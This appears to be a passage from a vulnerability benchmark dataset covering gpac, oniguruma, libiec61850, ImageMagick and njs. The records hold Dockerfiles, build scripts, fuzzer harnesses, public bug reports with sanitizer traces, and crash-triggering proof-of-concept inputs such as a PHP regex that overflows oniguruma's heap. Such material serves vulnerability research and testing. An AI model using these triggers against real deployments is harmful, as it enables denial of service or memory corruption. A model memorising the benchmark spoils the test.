[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 191 but only 3 bytes left in sample 11 [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it [rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it ================================================================= ==2628578==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001f15 at pc 0x7f14c2411bf5 bp 0x7ffec49a0110 sp 0x7ffec49a0100 READ of size 1 at 0x602000001f15 thread T0 #0 0x7f14c2411bf4 in gp_rtp_builder_do_hevc ietf/rtp_pck_mpeg4.c:594 #1 0x7f14c29c1da6 in gf_hinter_track_process media_tools/isom_hinter.c:834 #2 0x561e3a6f0d97 in HintFile /home/hzheng/real-validate/gpac/applications/mp4box/main.c:3613 #3 0x561e3a6f857b in mp4boxMain /home/hzheng/real-validate/gpac/applications/mp4box/main.c:6481 #4 0x7f14bfb8b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) #5 0x561e3a6d0aed in _start (/home/hzheng/real-validate/gpac/bin/gcc/MP4Box+0xa9aed) 0x602000001f15 is located 0 bytes to the right of 5-byte region [0x602000001f10,0x602000001f15) allocated by thread T0 here: #0 0x7f14c58d9bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8) #1 0x7f14c268782d in Media_GetSample isomedia/media.c:623 #2 0x7f14c25e6e5c in gf_isom_get_sample_ex isomedia/isom_read.c:1905 #3 0x7f14c29c16bd in gf_hinter_track_process media_tools/isom_hinter.c:756 #4 0x561e3a6f0d97 in HintFile /home/hzheng/real-validate/gpac/applications/mp4box/main.c:3613 #5 0x561e3a6f857b in mp4boxMain /home/hzheng/real-validate/gpac/applications/mp4box/main.c:6481 #6 0x7f14bfb8b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) SUMMARY: AddressSanitizer: heap-buffer-overflow ietf/rtp_pck_mpeg4.c:594 in gp_rtp_builder_do_hevc Shadow bytes around the buggy address: 0x0c047fff8390: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff83a0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff83b0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff83c0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff83d0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 =>0x0c047fff83e0: fa fa[05]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff83f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==2628578==ABORTING ``` ## version system: ubuntu 20.04.3 LTS compiler: gcc 9.3.0 gpac version: latest commit 6dcba5347cd12372225fc47080bc6e770fc4bb1b ``` MP4Box - GPAC version 2.1-DEV-rev114-g6dcba5347-master (c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --enable-sanitizer Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D ``` ## Credit Han Zheng [NCNIPC of China](http://www.nipc.org.cn) [Hexhive](http://hexhive.epfl.ch/) ## POC [crash.zip](https://github.com/gpac/gpac/files/8499508/crash.zip) Attachments: https://github.com/gpac/gpac/files/8499508/crash.zip Commit References: 6dcba5347cd12372225fc47080bc6e770fc4bb1b eec9e058a9486fe4e99c33021481d9e1826ca9db
[]
[ { "sha": "6dcba5347cd12372225fc47080bc6e770fc4bb1b", "url": "https://github.com/gpac/gpac/commit/6dcba5347cd12372225fc47080bc6e770fc4bb1b" }, { "sha": "1773b7a34bc08734aee7d3f5dfe65d06389fe15a", "url": "https://github.com/gpac/gpac/commit/1773b7a34bc08734aee7d3f5dfe65d06389fe15a" }, { "sha": "eec9e058a9486fe4e99c33021481d9e1826ca9db", "url": "https://github.com/gpac/gpac/commit/eec9e058a9486fe4e99c33021481d9e1826ca9db" } ]
oniguruma.cve-2017-9226
kkos/oniguruma
b4bf968ad52afe14e60a2dc8a95d3555c543353a
2017-05-18T03:05:27
oniguruma
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/kkos/oniguruma oniguruma RUN git -C oniguruma checkout b4bf968ad52afe14e60a2dc8a95d3555c543353a WORKDIR $SRC/oniguruma COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh ./configure make clean -j$(nproc) make -j$(nproc)
/src/oniguruma
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/kkos/oniguruma/issues/55 ## Description: Issue: kkos/oniguruma#55 Title: Heap corruption in next_state_val() in 15 encodings State: closed Created by: xixabangm4 Created at: 2017-05-18 04:28:31+00:00 Issue Body: This heap corruption is due to a different cause than issue #18 and #21 , the following is found after applying the patches of both. The issue affects latest PHP 5/7 installations with mbstring enabled, when the regular expression is from network, this can be considered as a security issue. Tested on 32-bit ASAN build, one of the 15 encodings below would cause an out-of-bound write: $ cat mb_regex_min.php ``` <?php if (!extension_loaded('mbstring')) print "mbstring not loaded.\n"; if (!function_exists('mb_regex_encoding')) print "mb_regex_encoding() is not available\n"; if (!function_exists('mb_ereg_search_pos')) print "mb_ereg_search_pos() is not available\n"; if (!function_exists('mb_ereg_search_init')) print "mb_ereg_search_init() is not available\n"; $encoding = array( 'ASCII', 'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-10', 'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'KOI8-R'); $enc_id = rand(0, count($encoding)); echo "*** testing encoding " . $encoding[$enc_id] . " ***\n"; mb_regex_encoding($encoding[$enc_id]); if(mb_ereg_search_init("a")) { var_dump(mb_ereg_search_pos('[\\6000')); } ?> ``` $ bin/php mb_regex_min.php ``` ================================================================= ==20048== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb540d948 at pc 0x9e384dc bp 0xbfbc8948 sp 0xbfbc893c READ of size 4 at 0xb540d948 thread T0 #0 0x9e384db in next_state_val /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:4087 #1 0x9e47185 in parse_char_class /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:4306 #2 0x9e85627 in parse_exp /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5272 #3 0x9ea4210 in parse_branch /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5437 #4 0x9ea57ee in parse_subexp /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5474 #5 0x9ea7ed2 in parse_regexp /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5518 #6 0x9ea7ed2 in onig_parse_make_tree /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5545 #7 0x9d62da8 in onig_compile /home/xie/php-7.1.5/ext/mbstring/oniguruma/regcomp.c:5305 #8 0x9d75ba1 in onig_new /home/xie/php-7.1.5/ext/mbstring/oniguruma/regcomp.c:5550 #9 0xa1b197b in php_mbregex_compile_pattern /home/xie/php-7.1.5/ext/mbstring/php_mbregex.c:456 #10 0xa1d70a4 in _php_mb_regex_ereg_search_exec /home/xie/php-7.1.5/ext/mbstring/php_mbregex.c:1241 #11 0xa1d70a4 in zif_mb_ereg_search_pos /home/xie/php-7.1.5/ext/mbstring/php_mbregex.c:1331 #12 0xc540ded in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/xie/php-7.1.5/Zend/zend_vm_execute.h:675 #13 0xc3afba1 in execute_ex /home/xie/php-7.1.5/Zend/zend_vm_execute.h:429 #14 0xcf50612 in zend_execute /home/xie/php-7.1.5/Zend/zend_vm_execute.h:474 #15 0xbcb52df in zend_execute_scripts /home/xie/php-7.1.5/Zend/zend.c:1476 #16 0xb3fd433 in php_execute_script /home/xie/php-7.1.5/main/main.c:2537 #17 0xcf6e3b1 in do_cli /home/xie/php-7.1.5/sapi/cli/php_cli.c:993 #18 0x811a9f6 in main /home/xie/php-7.1.5/sapi/cli/php_cli.c:1381 #19 0xb5fbba82 (/lib/i386-linux-gnu/libc.so.6+0x19a82) #20 0x811c8b0 in _start (/home/xie/php_fuzz/bin/php+0x811c8b0) 0xb540d948 is located 8 bytes to the left of 44-byte region [0xb540d950,0xb540d97c) allocated by thread T0 here: #0 0xb61ca854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854) #1 0x9ea61a3 in node_new /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:1120 #2 0x9ea61a3 in onig_node_new_alt /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:1257 #3 0x9ea61a3 in parse_subexp /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:5492 #4 0x3fffffff (+0x17ffffff) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/xie/php-7.1.5/ext/mbstring/oniguruma/regparse.c:4118 next_state_val Shadow bytes around the buggy address: 0x36a81ad0: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04 0x36a81ae0: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04 0x36a81af0: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04 0x36a81b00: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04 0x36a81b10: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04 =>0x36a81b20: fa fa 00 00 00 00 00 04 fa[fa]00 00 00 00 00 04 0x36a81b30: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04 0x36a81b40: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 04 0x36a81b50: fa fa 00 00 00 00 00 04 fa fa 00 00 00 00 00 00 0x36a81b60: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa 0x36a81b70: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap righ redzone: fb Freed Heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==20048== ABORTING Aborted ``` Comments: Comment by kkos on 2017-05-22 09:16:49+00:00: I have fixed it in develop branch. --- Comment by xixabangm4 on 2017-05-25 02:42:58+00:00: Thanks, please use CVE-2017-9226 to reference this issue. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9226
[ { "content": "/oniguruma\n/fuzzer.options.*\n", "filename": ".gitignore" }, { "content": "", "filename": "fuzzer.options" } ]
[ { "sha": "b4bf968ad52afe14e60a2dc8a95d3555c543353a", "url": "https://github.com/kkos/oniguruma/commit/b4bf968ad52afe14e60a2dc8a95d3555c543353a" }, { "sha": "f015fbdd95f76438cd86366467bb2b39870dd7c6", "url": "https://github.com/kkos/oniguruma/commit/f015fbdd95f76438cd86366467bb2b39870dd7c6" } ]
libiec61850.cve-2018-19121
mz-automation/libiec61850
6ba363bd4a4803dfb194733a9729ad421d6b49f0
2018-09-04T08:01:19
libiec61850
c++
FROM hwiwonlee/secb.base:latest RUN git clone https://github.com/mz-automation/libiec61850 libiec61850 RUN git -C libiec61850 checkout 6ba363bd4a4803dfb194733a9729ad421d6b49f0 WORKDIR $SRC/libiec61850 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build && cd build cmake ../ make -j$(nproc)
/src/libiec61850
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/mz-automation/libiec61850/issues/85 ## Description: Issue: mz-automation/libiec61850#85 Title: SEGV in function Ethernet_receivePacket State: closed Created by: fouzhe Created at: 2018-11-08 15:40:58+00:00 Issue Body: I built **[libiec61850](https://github.com/mz-automation/libiec61850)** in **macOS 10.12.6** with **AddressSanitizer**(`export CFLAGS="-g -fsanitize=address" CXXFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address"` before `make`). I ran the `sv_subscriber` in directory `libiec61850/examples/sv_subscriber` by command `sudo ./sv_subscriber`, however, there is a `SEGV` in function `Ethernet_receivePacket` in `ethernet_bsd.c` when the selected interface is unable. Here is output with ASAN information: ``` Using interface eth0 Unable to select interface eth0! Unable to set ethertype filter! ASAN:DEADLYSIGNAL ================================================================= ==76989==ERROR: AddressSanitizer: SEGV on unknown address 0x00000010 (pc 0x0008b013 bp 0xb078ce68 sp 0xb078cd50 T1) ==76989==The signal is caused by a READ memory access. ==76989==Hint: address points to the zero page. #0 0x8b012 in Ethernet_receivePacket ethernet_bsd.c:369 #1 0x83b2f in SVReceiver_tick sv_subscriber.c:547 #2 0x8342d in svReceiverLoop sv_subscriber.c:167 #3 0x8880b in destroyAutomaticThread thread_bsd.c:88 #4 0x17d185 in __asan::AsanThread::ThreadStart(unsigned long, __sanitizer::atomic_uintptr_t*) (libclang_rt.asan_osx_dynamic.dylib:i386+0x5f185) #5 0x16a039 in asan_thread_start(void*) (libclang_rt.asan_osx_dynamic.dylib:i386+0x4c039) #6 0xa1754046 in _pthread_body (libsystem_pthread.dylib:i386+0x4046) #7 0xa1753f8e in _pthread_start (libsystem_pthread.dylib:i386+0x3f8e) #8 0xa1753849 in thread_start (libsystem_pthread.dylib:i386+0x3849) ==76989==Register values: eax = 0x00000010 ebx = 0x001ff800 ecx = 0x20000002 edx = 0x00000000 edi = 0x018f4000 esi = 0x00000000 ebp = 0xb078ce68 esp = 0xb078cd50 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ethernet_bsd.c:369 in Ethernet_receivePacket Thread T1 created by T0 here: #0 0x169ed3 in wrap_pthread_create (libclang_rt.asan_osx_dynamic.dylib:i386+0x4bed3) #1 0x885ea in Thread_start thread_bsd.c:99 #2 0x8331e in SVReceiver_start sv_subscriber.c:186 #3 0x7eda9 in main sv_subscriber_example.c:76 #4 0xa1541394 in start (libdyld.dylib:i386+0x5394) ==76989==ABORTING Abort trap: 6 ``` Comments: Comment by mzillgith on 2018-11-15 16:09:52+00:00: Same as #86
[ { "content": "[libfuzzer]\ndetect_leaks=0\n", "filename": "fuzz_decode.options" } ]
[]
imagemagick.cve-2017-11532
imagemagick/imagemagick
9871b4ad7400606bbecf7f979b198080f4b107c3
2017-07-15T12:32:46
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout 9871b4ad7400606bbecf7f979b198080f4b107c3 WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/563 ## Description: Issue: ImageMagick/ImageMagick#563 Title: Memory Leak in WriteMPCImage() State: closed Created by: lcatro Created at: 2017-07-16 15:36:17+00:00 Labels: bug Issue Body: Memory Leak Sample Link : https://raw.githubusercontent.com/lcatro/My_PoC/master/ImageMagick/imagemagick_output_mpc_memory_leak_WriteMPCImage Trigger Command : ./magick convert imagemagick_output_mpc_memory_leak_WriteMPCImage output.mpc Leak Detail : ``` fuzzing@ubuntu:~/fuzzing/ImageMagick/utilities$ ./magick convert imagemagick_output_mpc_memory_leak_WriteMPCImage output.mpc convert: UnableToOpenConfigureFile `magic.xml' @ warning/configure.c/GetConfigureOptions/715. ================================================================= ==2307==ERROR: LeakSanitizer: detected memory leaks Direct leak of 9096 byte(s) in 1 object(s) allocated from: #0 0x7f8563655602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x7f8562b5e981 in AcquireMagickMemory MagickCore/memory.c:464 #2 0x7f8562b5e9d5 in AcquireQuantumMemory MagickCore/memory.c:537 #3 0x7f856294802f in AcquirePixelCache MagickCore/cache.c:195 #4 0x7f8562948fc9 in ClonePixelCache MagickCore/cache.c:418 #5 0x7f8562957a19 in PersistPixelCache MagickCore/cache.c:3829 #6 0x7f8562dfc059 in WriteMPCImage coders/mpc.c:1493 #7 0x7f85629ba1c6 in WriteImage MagickCore/constitute.c:1114 #8 0x7f85629bae42 in WriteImages MagickCore/constitute.c:1333 #9 0x7f856220d3eb in ConvertImageCommand MagickWand/convert.c:3280 #10 0x7f8562305d98 in MagickCommandGenesis MagickWand/mogrify.c:183 #11 0x4017f1 in MagickMain utilities/magick.c:149 #12 0x4019d2 in main utilities/magick.c:180 #13 0x7f8561a7a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) Indirect leak of 528 byte(s) in 1 object(s) allocated from: #0 0x7f8563655602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x7f8562b5e981 in AcquireMagickMemory MagickCore/memory.c:464 #2 0x7f8562b5e9d5 in AcquireQuantumMemory MagickCore/memory.c:537 #3 0x7f8562948871 in AcquirePixelCacheNexus MagickCore/cache.c:268 #4 0x7f8562948428 in AcquirePixelCache MagickCore/cache.c:211 #5 0x7f8562948fc9 in ClonePixelCache MagickCore/cache.c:418 #6 0x7f8562957a19 in PersistPixelCache MagickCore/cache.c:3829 #7 0x7f8562dfc059 in WriteMPCImage coders/mpc.c:1493 #8 0x7f85629ba1c6 in WriteImage MagickCore/constitute.c:1114 #9 0x7f85629bae42 in WriteImages MagickCore/constitute.c:1333 #10 0x7f856220d3eb in ConvertImageCommand MagickWand/convert.c:3280 #11 0x7f8562305d98 in MagickCommandGenesis MagickWand/mogrify.c:183 #12 0x4017f1 in MagickMain utilities/magick.c:149 #13 0x4019d2 in main utilities/magick.c:180 #14 0x7f8561a7a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x7f8563656076 in __interceptor_posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99076) #1 0x7f8562b5e8de in AcquireAlignedMemory MagickCore/memory.c:262 #2 0x7f8562948780 in AcquirePixelCacheNexus MagickCore/cache.c:264 #3 0x7f8562948428 in AcquirePixelCache MagickCore/cache.c:211 #4 0x7f8562948fc9 in ClonePixelCache MagickCore/cache.c:418 #5 0x7f8562957a19 in PersistPixelCache MagickCore/cache.c:3829 #6 0x7f8562dfc059 in WriteMPCImage coders/mpc.c:1493 #7 0x7f85629ba1c6 in WriteImage MagickCore/constitute.c:1114 #8 0x7f85629bae42 in WriteImages MagickCore/constitute.c:1333 #9 0x7f856220d3eb in ConvertImageCommand MagickWand/convert.c:3280 #10 0x7f8562305d98 in MagickCommandGenesis MagickWand/mogrify.c:183 #11 0x4017f1 in MagickMain utilities/magick.c:149 #12 0x4019d2 in main utilities/magick.c:180 #13 0x7f8561a7a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x7f8563656076 in __interceptor_posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99076) #1 0x7f8562c420fc in AcquireSemaphoreMemory MagickCore/semaphore.c:154 #2 0x7f8562c421b8 in AcquireSemaphoreInfo MagickCore/semaphore.c:200 #3 0x7f8562948631 in AcquirePixelCache MagickCore/cache.c:226 #4 0x7f8562948fc9 in ClonePixelCache MagickCore/cache.c:418 #5 0x7f8562957a19 in PersistPixelCache MagickCore/cache.c:3829 #6 0x7f8562dfc059 in WriteMPCImage coders/mpc.c:1493 #7 0x7f85629ba1c6 in WriteImage MagickCore/constitute.c:1114 #8 0x7f85629bae42 in WriteImages MagickCore/constitute.c:1333 #9 0x7f856220d3eb in ConvertImageCommand MagickWand/convert.c:3280 #10 0x7f8562305d98 in MagickCommandGenesis MagickWand/mogrify.c:183 #11 0x4017f1 in MagickMain utilities/magick.c:149 #12 0x4019d2 in main utilities/magick.c:180 #13 0x7f8561a7a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x7f8563656076 in __interceptor_posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99076) #1 0x7f8562c420fc in AcquireSemaphoreMemory MagickCore/semaphore.c:154 #2 0x7f8562c421b8 in AcquireSemaphoreInfo MagickCore/semaphore.c:200 #3 0x7f85629486a1 in AcquirePixelCache MagickCore/cache.c:228 #4 0x7f8562948fc9 in ClonePixelCache MagickCore/cache.c:418 #5 0x7f8562957a19 in PersistPixelCache MagickCore/cache.c:3829 #6 0x7f8562dfc059 in WriteMPCImage coders/mpc.c:1493 #7 0x7f85629ba1c6 in WriteImage MagickCore/constitute.c:1114 #8 0x7f85629bae42 in WriteImages MagickCore/constitute.c:1333 #9 0x7f856220d3eb in ConvertImageCommand MagickWand/convert.c:3280 #10 0x7f8562305d98 in MagickCommandGenesis MagickWand/mogrify.c:183 #11 0x4017f1 in MagickMain utilities/magick.c:149 #12 0x4019d2 in main utilities/magick.c:180 #13 0x7f8561a7a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: 9816 byte(s) leaked in 5 allocation(s). ``` Comments: Comment by mikayla-grace on 2017-07-16 17:48:10+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow. --- Comment by mikayla-grace on 2017-07-23 18:21:21+00:00: Our patch was incomplete, revert patch until we come up with a better solution. --- Comment by mikayla-grace on 2017-07-23 22:55:09+00:00: Fixed with https://github.com/ImageMagick/ImageMagick/commit/184a047627aa564b7062d2462aef668155caa390 and https://github.com/ImageMagick/ImageMagick/commit/46bcb8a86801d3d9c3f89ec1c01fa8a98da05645. --- Comment by bastien-roucaries on 2017-07-26 21:03:52+00:00: This is https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=869726 and CVE-2017-11532 Commit References: 46bcb8a86801d3d9c3f89ec1c01fa8a98da05645 184a047627aa564b7062d2462aef668155caa390
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "184a047627aa564b7062d2462aef668155caa390", "url": "https://github.com/ImageMagick/ImageMagick/commit/184a047627aa564b7062d2462aef668155caa390" }, { "sha": "46bcb8a86801d3d9c3f89ec1c01fa8a98da05645", "url": "https://github.com/ImageMagick/ImageMagick/commit/46bcb8a86801d3d9c3f89ec1c01fa8a98da05645" }, { "sha": "2cdff280c3041fbdf615027c104d76807fea1d81", "url": "https://github.com/ImageMagick/ImageMagick/commit/2cdff280c3041fbdf615027c104d76807fea1d81" }, { "sha": "259340b1fe45d75cc41bdfaab53afeecef7eb504", "url": "https://github.com/ImageMagick/ImageMagick/commit/259340b1fe45d75cc41bdfaab53afeecef7eb504" }, { "sha": "d60d705cddac7fa5d0e6596c183bbb9b46a57161", "url": "https://github.com/ImageMagick/ImageMagick/commit/d60d705cddac7fa5d0e6596c183bbb9b46a57161" }, { "sha": "68ce166a7a7ee8576bb261c0ca291abe2f3d97bb", "url": "https://github.com/ImageMagick/ImageMagick/commit/68ce166a7a7ee8576bb261c0ca291abe2f3d97bb" } ]
njs.cve-2022-27007
nginx/njs
e673ae41a998d1391bd562edb2ed6d49db7cc716
2022-02-21T10:52:47
njs
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev RUN git clone https://github.com/nginx/njs njs RUN git -C njs checkout e673ae41a998d1391bd562edb2ed6d49db7cc716 WORKDIR $SRC/njs COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure make -j$(nproc) clean make -j$(nproc) all make install -j$(nproc) sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config ./configure make njs_fuzzer -j$(nproc) mkdir -p $SEED_CORPUS_PATH
/src/njs
address
